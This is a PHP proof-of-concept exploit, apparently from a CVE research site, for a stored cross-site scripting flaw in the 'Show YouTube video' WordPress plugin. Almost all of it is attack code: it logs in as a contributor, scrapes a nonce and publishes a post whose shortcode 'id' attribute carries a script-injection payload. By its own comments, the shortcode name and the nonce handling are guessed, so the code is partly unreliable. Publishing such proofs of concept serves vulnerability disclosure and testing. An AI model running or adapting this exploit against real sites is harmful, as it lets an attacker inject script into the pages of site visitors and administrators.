CVE-2026-1825: Show YouTube video <= 1.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'id' Shortcode Attribute (show-youtube-video)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1825 - Show YouTube video <= 1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'id' Shortcode Attribute
<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Payload to inject via the 'id' shortcode attribute
// This payload demonstrates XSS by triggering an alert with the current domain
$xss_payload = '"><script>alert(document.domain);</script>';

// WordPress authentication via wp-login.php
$login_url = $target_url . '/wp-login.php';
$admin_ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Create a temporary cookie file
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_1825_cookie');

$ch = curl_init();

// Step 1: Authenticate and obtain session cookies
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false
]);

$response = curl_exec($ch);

// Step 2: Create a new post with the malicious shortcode
// Assumption: The plugin's shortcode is 'syv' and accepts an 'id' parameter
// The vulnerability description confirms the 'id' attribute is the injection point
$create_post_url = $target_url . '/wp-admin/post-new.php';

// Extract nonce from the post creation page
curl_setopt_array($ch, [
    CURLOPT_URL => $create_post_url,
    CURLOPT_POST => false,
    CURLOPT_RETURNTRANSFER => true
]);

$post_page = curl_exec($ch);

// Extract nonce for post creation (simplified pattern - actual implementation may vary)
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $post_page, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';

// Construct post content with malicious shortcode
// The shortcode format is inferred from plugin name: [syv id="PAYLOAD"]
$post_content = 'Post containing malicious shortcode: [syv id="' . $xss_payload . '"]';

// Submit the post
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/admin-post.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'post_title' => 'Test Post with XSS',
        'content' => $post_content,
        'action' => 'editpost',
        '_wpnonce' => $nonce,
        '_wp_http_referer' => $create_post_url,
        'post_type' => 'post',
        'post_status' => 'publish',
        'submit' => 'Publish'
    ]),
    CURLOPT_RETURNTRANSFER => true
]);

$result = curl_exec($ch);

if (strpos($result, 'Post published') !== false || strpos($result, 'Post updated') !== false) {
    echo "Exploit successful. Post created with XSS payload.n";
    echo "Visit the published post to trigger the JavaScript execution.n";
} else {
    echo "Exploit may have failed. Check authentication and permissions.n";
}

// Cleanup
curl_close($ch);
unlink($cookie_file);

?>